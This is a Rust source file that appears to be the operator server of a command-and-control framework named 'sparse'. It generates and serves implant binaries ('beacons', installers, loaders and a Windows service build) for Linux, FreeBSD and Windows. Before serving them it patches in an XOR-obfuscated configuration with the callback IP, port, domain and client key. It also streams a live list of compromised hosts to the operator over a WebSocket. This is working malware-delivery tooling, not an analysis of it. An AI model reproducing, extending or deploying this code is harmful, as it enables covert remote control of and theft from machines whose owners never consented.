591 lines
21 KiB
Rust
591 lines
21 KiB
Rust
use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
|
|
|
|
use axum::{
|
|
extract::{ws, FromRef, Path, Query, State},
|
|
response::IntoResponse,
|
|
routing::{get, post},
|
|
Router,
|
|
};
|
|
use axum_extra::extract::cookie::CookieJar;
|
|
use leptos::prelude::*;
|
|
use leptos_axum::{generate_route_list, LeptosRoutes};
|
|
use serde::Deserialize;
|
|
use sqlx::sqlite::SqlitePool;
|
|
use tokio::signal;
|
|
|
|
use sparse_server::app::*;
|
|
|
|
#[cfg(not(debug_assertions))]
|
|
pub(crate) mod beacon_binaries {
|
|
pub const LINUX_INSTALLER: &'static [u8] = include_bytes!(std::env!("SPARSE_INSTALLER_LINUX"));
|
|
pub const FREEBSD_INSTALLER: &'static [u8] =
|
|
include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD"));
|
|
pub const WINDOWS_INSTALLER: &'static [u8] =
|
|
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
|
|
|
|
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
|
|
pub const LINUX_BEACON_LOADER: &'static [u8] =
|
|
include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
|
|
pub const FREEBSD_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
|
|
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
|
|
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
|
|
pub const WINDOWS_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
|
|
pub const WINDOWS_BEACON_SVC: &'static [u8] =
|
|
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
|
|
}
|
|
|
|
#[cfg(debug_assertions)]
|
|
pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
|
|
let path = match btype {
|
|
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
|
|
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
|
|
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer.exe",
|
|
other => {
|
|
return Err(crate::error::Error::Generic(format!(
|
|
"unknown beacon type: {other}"
|
|
)))
|
|
}
|
|
};
|
|
|
|
Ok(tokio::fs::read(path).await?)
|
|
}
|
|
#[cfg(not(debug_assertions))]
|
|
pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
|
|
match btype {
|
|
"linux" => Ok(beacon_binaries::LINUX_INSTALLER.to_owned()),
|
|
"windows" => Ok(beacon_binaries::WINDOWS_INSTALLER.to_owned()),
|
|
"freebsd" => Ok(beacon_binaries::FREEBSD_INSTALLER.to_owned()),
|
|
other => Err(crate::error::Error::Generic(format!(
|
|
"unknown beacon type: {other}"
|
|
))),
|
|
}
|
|
}
|
|
|
|
#[cfg(debug_assertions)]
|
|
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
|
|
let path = match btype {
|
|
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-beacon",
|
|
"linux-loader" => "unix-loader/zig-out/bin/unix-loader",
|
|
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-beacon",
|
|
"freebsd-loader" => "unix-loader/zig-out/bin/unix-loader",
|
|
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
|
|
"windows-svc" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
|
|
other => {
|
|
return Err(crate::error::Error::Generic(format!(
|
|
"unknown beacon type: {other}"
|
|
)))
|
|
}
|
|
};
|
|
|
|
Ok(tokio::fs::read(path).await?)
|
|
}
|
|
#[cfg(not(debug_assertions))]
|
|
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
|
|
match btype {
|
|
"linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
|
|
"linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
|
|
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
|
|
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
|
|
"windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
|
|
"freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
|
|
"freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),
|
|
other => Err(crate::error::Error::Generic(format!(
|
|
"unknown beacon type: {other}"
|
|
))),
|
|
}
|
|
}
|
|
|
|
#[derive(FromRef, Clone)]
|
|
pub struct AppState {
|
|
db: SqlitePool,
|
|
leptos_options: leptos::config::LeptosOptions,
|
|
beacon_listeners: sparse_handler::BeaconListenerMap,
|
|
beacon_event_broadcast: tokio::sync::broadcast::Sender<sparse_handler::BeaconEvent>,
|
|
}
|
|
|
|
async fn get_parameters_bytes(
|
|
template_id: i64,
|
|
db: SqlitePool,
|
|
) -> Result<(Vec<u8>, String), crate::error::Error> {
|
|
use rand::{rngs::OsRng, TryRngCore};
|
|
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
|
|
|
|
let mut parameters_buffer = vec![0u8; std::mem::size_of::<Parameters_t>()];
|
|
let _ = OsRng.try_fill_bytes(&mut parameters_buffer);
|
|
|
|
let parameters: &mut Parameters_t =
|
|
unsafe { std::mem::transmute(parameters_buffer.as_mut_ptr()) };
|
|
|
|
let template = sqlx::query!(
|
|
r"SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,
|
|
source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,
|
|
source_interface
|
|
FROM beacon_template JOIN beacon_listener
|
|
WHERE template_id = ?",
|
|
template_id
|
|
)
|
|
.fetch_one(&db)
|
|
.await?;
|
|
|
|
let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?;
|
|
let src_ip = template.source_ip.parse::<std::net::Ipv4Addr>()?;
|
|
|
|
let dest_octets = dest_ip.octets();
|
|
parameters.destination_ip.a = dest_octets[0];
|
|
parameters.destination_ip.b = dest_octets[1];
|
|
parameters.destination_ip.c = dest_octets[2];
|
|
parameters.destination_ip.d = dest_octets[3];
|
|
|
|
let src_mac: [u8; 6] = template
|
|
.source_mac
|
|
.unwrap_or("00:00:00:00:00:00".to_string())
|
|
.split(":")
|
|
.map(|by| u8::from_str_radix(by, 16))
|
|
.collect::<Result<Vec<u8>, _>>()
|
|
.map_err(|_| crate::error::Error::Generic("Could not parse source MAC address".to_string()))
|
|
.and_then(|bytes| {
|
|
bytes.try_into().map_err(|_| {
|
|
crate::error::Error::Generic("Could not parse source MAC address".to_string())
|
|
})
|
|
})?;
|
|
|
|
let src_octets = src_ip.octets();
|
|
match (
|
|
template.source_mode.as_deref(),
|
|
template.source_netmask,
|
|
template.source_gateway,
|
|
) {
|
|
(Some("custom"), Some(nm), Some(ip)) => unsafe {
|
|
let gateway = ip.parse::<std::net::Ipv4Addr>()?;
|
|
let gw_octets = gateway.octets();
|
|
|
|
parameters.source_ip.custom_networking.mode = 0;
|
|
parameters.source_ip.custom_networking.netmask = nm as u16;
|
|
parameters
|
|
.source_ip
|
|
.custom_networking
|
|
.source_mac
|
|
.copy_from_slice(&src_mac[..]);
|
|
parameters.source_ip.custom_networking.source_ip.a = src_octets[0];
|
|
parameters.source_ip.custom_networking.source_ip.b = src_octets[1];
|
|
parameters.source_ip.custom_networking.source_ip.c = src_octets[2];
|
|
parameters.source_ip.custom_networking.source_ip.d = src_octets[3];
|
|
parameters.source_ip.custom_networking.gateway.a = gw_octets[0];
|
|
parameters.source_ip.custom_networking.gateway.b = gw_octets[1];
|
|
parameters.source_ip.custom_networking.gateway.c = gw_octets[2];
|
|
parameters.source_ip.custom_networking.gateway.d = gw_octets[3];
|
|
|
|
if let Some(intf) = &template.source_interface {
|
|
parameters.source_ip.custom_networking.interface[..intf.len()]
|
|
.copy_from_slice(&intf[..]);
|
|
parameters.source_ip.custom_networking.interface_len = intf.len() as u8;
|
|
} else {
|
|
parameters.source_ip.custom_networking.interface_len = 0;
|
|
}
|
|
},
|
|
(Some("host"), _, _) => unsafe {
|
|
parameters.source_ip.use_host_networking.mode = 1;
|
|
parameters
|
|
.source_ip
|
|
.use_host_networking
|
|
.source_mac
|
|
.copy_from_slice(&src_mac[..]);
|
|
parameters.source_ip.use_host_networking.source_ip.a = src_octets[0];
|
|
parameters.source_ip.use_host_networking.source_ip.b = src_octets[1];
|
|
parameters.source_ip.use_host_networking.source_ip.c = src_octets[2];
|
|
parameters.source_ip.use_host_networking.source_ip.d = src_octets[3];
|
|
},
|
|
_ => {
|
|
return Err(crate::error::Error::Generic(
|
|
"Could not parse host networking configuration".to_string(),
|
|
));
|
|
}
|
|
}
|
|
|
|
parameters.destination_port = template.port as u16;
|
|
parameters.template_id = template_id as u16;
|
|
|
|
let pubkey_cert = template.certificate;
|
|
parameters.pubkey_cert[..pubkey_cert.len()].copy_from_slice(&pubkey_cert[..]);
|
|
parameters.pubkey_cert_size = pubkey_cert.len() as u16;
|
|
|
|
let client_key = template.client_key;
|
|
parameters.client_key[..client_key.len()].copy_from_slice(&client_key[..]);
|
|
parameters.client_key_length = client_key.len() as u16;
|
|
|
|
let client_cert = template.client_cert;
|
|
parameters.client_cert[..client_cert.len()].copy_from_slice(&client_cert[..]);
|
|
parameters.client_cert_length = client_cert.len() as u16;
|
|
|
|
let domain_name = template.domain_name.as_bytes();
|
|
parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]);
|
|
parameters.domain_name_length = domain_name.len() as u16;
|
|
|
|
let parameters_bytes = parameters_buffer
|
|
.iter()
|
|
.map(|b| b ^ (XOR_KEY as u8))
|
|
.collect::<Vec<_>>();
|
|
|
|
Ok((parameters_bytes, template.operating_system.clone()))
|
|
}
|
|
|
|
#[derive(Debug, Deserialize)]
|
|
pub struct BeaconDownloadParams {
|
|
use_svc: Option<bool>,
|
|
use_loader: Option<bool>,
|
|
}
|
|
|
|
pub async fn download_beacon(
|
|
Path(template_id): Path<i64>,
|
|
State(db): State<AppState>,
|
|
Query(beacon_params): Query<BeaconDownloadParams>,
|
|
) -> Result<impl IntoResponse, crate::error::Error> {
|
|
use rand::{rngs::OsRng, TryRngCore};
|
|
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
|
|
|
|
let (mut parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
|
|
|
let binary = if beacon_params.use_svc.unwrap_or_default() {
|
|
tracing::debug!("Downloading windows service");
|
|
"windows-svc".to_string()
|
|
} else if beacon_params.use_loader.unwrap_or_default() {
|
|
tracing::debug!("Downloading {operating_system} loader");
|
|
format!("{operating_system}-loader")
|
|
} else {
|
|
tracing::debug!("Downloading basic beacon for {operating_system}");
|
|
operating_system.clone()
|
|
};
|
|
|
|
let installer_bytes = get_beacon(&binary).await?;
|
|
|
|
let parameters: &mut Parameters_t =
|
|
unsafe { std::mem::transmute(parameters_bytes.as_mut_ptr()) };
|
|
let mut identifier = [0u8; 32];
|
|
OsRng
|
|
.try_fill_bytes(&mut identifier)
|
|
.expect("Could not generate beacon identifier");
|
|
|
|
let hex_ident = hex::encode(&identifier)
|
|
.as_bytes()
|
|
.iter()
|
|
.map(|b| b ^ (XOR_KEY as u8))
|
|
.collect::<Vec<_>>();
|
|
parameters
|
|
.beacon_identifier
|
|
.copy_from_slice(&hex_ident);
|
|
|
|
use axum::http::header;
|
|
|
|
Ok((
|
|
[
|
|
(header::CONTENT_TYPE, "application/octet-stream".to_string()),
|
|
(
|
|
header::CONTENT_DISPOSITION,
|
|
format!(
|
|
r#"attachement; filename="sparse-beacon{}""#,
|
|
if operating_system.starts_with("windows") {
|
|
".exe"
|
|
} else {
|
|
""
|
|
}
|
|
),
|
|
),
|
|
],
|
|
[&installer_bytes[..], ¶meters_bytes[..]].concat(),
|
|
))
|
|
}
|
|
|
|
pub async fn download_beacon_installer(
|
|
Path(template_id): Path<i64>,
|
|
State(db): State<AppState>,
|
|
) -> Result<impl IntoResponse, crate::error::Error> {
|
|
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
|
|
let installer_bytes = get_installer(&operating_system).await?;
|
|
|
|
use axum::http::header;
|
|
|
|
Ok((
|
|
[
|
|
(header::CONTENT_TYPE, "application/octet-stream".to_string()),
|
|
(
|
|
header::CONTENT_DISPOSITION,
|
|
format!(
|
|
r#"attachement; filename="sparse-installer{}""#,
|
|
if operating_system.starts_with("windows") {
|
|
".exe"
|
|
} else {
|
|
""
|
|
}
|
|
),
|
|
),
|
|
],
|
|
[&installer_bytes[..], ¶meters_bytes[..]].concat(),
|
|
))
|
|
}
|
|
|
|
pub async fn subscribe_to_listener_events(
|
|
State(state): State<AppState>,
|
|
cookie_jar: CookieJar,
|
|
ws: ws::WebSocketUpgrade
|
|
) -> axum::response::Response {
|
|
let user = match crate::db::user::get_auth_session_inner(
|
|
state.db.clone(),
|
|
cookie_jar
|
|
).await {
|
|
Ok(u) => u,
|
|
Err(e) => {
|
|
tracing::warn!("Could not load user session: {e:?}");
|
|
return axum::http::StatusCode::INTERNAL_SERVER_ERROR.into_response();
|
|
}
|
|
};
|
|
|
|
if user.is_none() {
|
|
return axum::http::StatusCode::UNAUTHORIZED.into_response();
|
|
}
|
|
|
|
ws
|
|
.on_upgrade(move |socket: ws::WebSocket| async move {
|
|
if let Err(e) = handle_listener_events(socket, state).await {
|
|
tracing::warn!("Encountered error when handling event subscriber: {e}");
|
|
};
|
|
})
|
|
.into_response()
|
|
}
|
|
|
|
async fn handle_listener_events(
|
|
mut socket: ws::WebSocket,
|
|
state: AppState,
|
|
) -> Result<(), crate::error::Error> {
|
|
use sqlx::{sqlite::SqliteRow, Row};
|
|
|
|
use crate::beacons::sidebar::{CurrentBeaconInstance, SidebarEvents};
|
|
|
|
{
|
|
let beacons = sqlx::query!(
|
|
"SELECT beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance"
|
|
)
|
|
.fetch_all(&state.db)
|
|
.await?;
|
|
|
|
struct CheckinResult {
|
|
beacon_id: String,
|
|
checkin_date: chrono::DateTime<chrono::Utc>
|
|
}
|
|
|
|
impl sqlx::FromRow<'_, SqliteRow> for CheckinResult {
|
|
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
|
|
Ok(CheckinResult {
|
|
beacon_id: row.get("beacon_id"),
|
|
checkin_date: row.get("checkin_date")
|
|
})
|
|
}
|
|
}
|
|
|
|
let last_checkin: Vec<CheckinResult> = sqlx::query_as(
|
|
"SELECT beacon_id, MAX(checkin_date) as checkin_date FROM beacon_checkin
|
|
GROUP BY beacon_id"
|
|
)
|
|
.fetch_all(&state.db)
|
|
.await?;
|
|
|
|
let category_ids = sqlx::query!(
|
|
"SELECT beacon_id, category_id FROM beacon_category_assignment"
|
|
)
|
|
.fetch_all(&state.db)
|
|
.await?;
|
|
|
|
let beacons = SidebarEvents::BeaconList(
|
|
beacons
|
|
.into_iter()
|
|
.map(|b| CurrentBeaconInstance {
|
|
beacon_id: b.beacon_id.clone(),
|
|
template_id: b.template_id,
|
|
ip: b.peer_ip,
|
|
nickname: b.nickname,
|
|
cwd: b.cwd,
|
|
operating_system: b.operating_system,
|
|
userent: b.beacon_userent,
|
|
hostname: b.hostname,
|
|
config_id: b.config_id,
|
|
last_checkin: last_checkin
|
|
.iter()
|
|
.find(|ch| ch.beacon_id == b.beacon_id)
|
|
.clone()
|
|
.map(|ch| ch.checkin_date)
|
|
.unwrap_or_else(|| chrono::Utc::now()),
|
|
category_ids: category_ids
|
|
.iter()
|
|
.filter(|cat| cat.beacon_id == b.beacon_id)
|
|
.map(|cat| cat.category_id)
|
|
.collect()
|
|
})
|
|
.collect::<Vec<_>>()
|
|
);
|
|
|
|
let json = serde_json::to_string(&beacons)?;
|
|
|
|
socket.send(ws::Message::Text(json.into())).await?;
|
|
}
|
|
|
|
let mut event_receiver = state.beacon_event_broadcast.subscribe();
|
|
|
|
loop {
|
|
use sparse_handler::BeaconEvent;
|
|
|
|
let event = event_receiver.recv().await;
|
|
|
|
match event {
|
|
Ok(BeaconEvent::Checkin(bid)) => {
|
|
socket.send(ws::Message::Text(serde_json::to_string(&SidebarEvents::Checkin(bid.clone()))?)).await?;
|
|
}
|
|
Ok(BeaconEvent::NewBeacon(bid)) => {
|
|
let beacon = sqlx::query!(
|
|
"SELECT template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname, config_id FROM beacon_instance
|
|
WHERE beacon_id = ?",
|
|
bid
|
|
)
|
|
.fetch_one(&state.db)
|
|
.await?;
|
|
|
|
let category_ids = sqlx::query!(
|
|
"SELECT category_id FROM beacon_category_assignment
|
|
WHERE beacon_id = ?",
|
|
bid
|
|
)
|
|
.fetch_all(&state.db)
|
|
.await?;
|
|
|
|
let beacon = CurrentBeaconInstance {
|
|
beacon_id: bid,
|
|
template_id: beacon.template_id,
|
|
ip: beacon.peer_ip,
|
|
nickname: beacon.nickname,
|
|
cwd: beacon.cwd,
|
|
operating_system: beacon.operating_system,
|
|
userent: beacon.beacon_userent,
|
|
hostname: beacon.hostname,
|
|
config_id: beacon.config_id,
|
|
last_checkin: chrono::Utc::now(),
|
|
category_ids: category_ids.iter().map(|r| r.category_id).collect()
|
|
};
|
|
|
|
socket.send(ws::Message::Text(serde_json::to_string(&beacon)?)).await?;
|
|
}
|
|
Err(e) => {
|
|
tracing::warn!("Unable to handle general event: {e:?}");
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
pub async fn serve_web(
|
|
management_address: SocketAddrV4,
|
|
file_store: PathBuf,
|
|
db: SqlitePool,
|
|
) -> anyhow::Result<ExitCode> {
|
|
let conf = get_configuration(None).unwrap();
|
|
let leptos_options = conf.leptos_options;
|
|
let routes = generate_route_list(App);
|
|
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
|
|
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
|
|
|
|
tokio::fs::create_dir_all(&file_store).await?;
|
|
|
|
let compression_layer = tower_http::compression::CompressionLayer::new()
|
|
.gzip(true)
|
|
.deflate(true)
|
|
.br(true)
|
|
.zstd(true);
|
|
|
|
sparse_handler::start_all_listeners(
|
|
beacon_listeners.clone(),
|
|
db.clone(),
|
|
beacon_event_broadcast.clone()
|
|
).await?;
|
|
|
|
let state = AppState {
|
|
leptos_options: leptos_options.clone(),
|
|
db: db.clone(),
|
|
beacon_listeners: beacon_listeners.clone(),
|
|
beacon_event_broadcast: beacon_event_broadcast.clone()
|
|
};
|
|
|
|
let app = Router::new()
|
|
.route(
|
|
"/binaries/installer/:template_id",
|
|
get(download_beacon_installer),
|
|
)
|
|
.route("/binaries/beacon/:template_id", get(download_beacon))
|
|
.route(
|
|
"/api/subscribe/listener",
|
|
axum::routing::any(subscribe_to_listener_events)
|
|
)
|
|
.route("/api/*fn_name", post(leptos_axum::handle_server_fns))
|
|
.leptos_routes_with_context(
|
|
&state,
|
|
routes,
|
|
move || {
|
|
provide_context(beacon_listeners.clone());
|
|
provide_context(db.clone());
|
|
provide_context(beacon_event_broadcast.clone());
|
|
provide_context(file_store.clone());
|
|
},
|
|
{
|
|
let leptos_options = leptos_options.clone();
|
|
move || shell(leptos_options.clone())
|
|
},
|
|
)
|
|
.fallback(leptos_axum::file_and_error_handler::<
|
|
leptos::config::LeptosOptions,
|
|
_,
|
|
>(shell))
|
|
.with_state(state)
|
|
.layer(
|
|
tower::ServiceBuilder::new()
|
|
.layer(tower_http::trace::TraceLayer::new_for_http())
|
|
.layer(compression_layer),
|
|
);
|
|
|
|
// run our app with hyper
|
|
// `axum::Server` is a re-export of `hyper::Server`
|
|
let management_listener = tokio::net::TcpListener::bind(&management_address).await?;
|
|
tracing::info!(
|
|
"management interface listening on http://{}",
|
|
&management_address
|
|
);
|
|
|
|
axum::serve(management_listener, app.into_make_service())
|
|
.with_graceful_shutdown(shutdown_signal())
|
|
.await?;
|
|
|
|
Ok(ExitCode::SUCCESS)
|
|
}
|
|
|
|
async fn shutdown_signal() {
|
|
let ctrl_c = async {
|
|
signal::ctrl_c()
|
|
.await
|
|
.expect("failed to install Ctrl+C handler");
|
|
};
|
|
|
|
#[cfg(unix)]
|
|
let terminate = async {
|
|
signal::unix::signal(signal::unix::SignalKind::terminate())
|
|
.expect("failed to install signal handler")
|
|
.recv()
|
|
.await;
|
|
};
|
|
|
|
#[cfg(not(unix))]
|
|
let terminate = std::future::pending::<()>();
|
|
|
|
tokio::select! {
|
|
_ = ctrl_c => {
|
|
tracing::info!("Received Ctrl-C");
|
|
},
|
|
_ = terminate => {
|
|
tracing::info!("Received terminate command");
|
|
},
|
|
}
|
|
}
|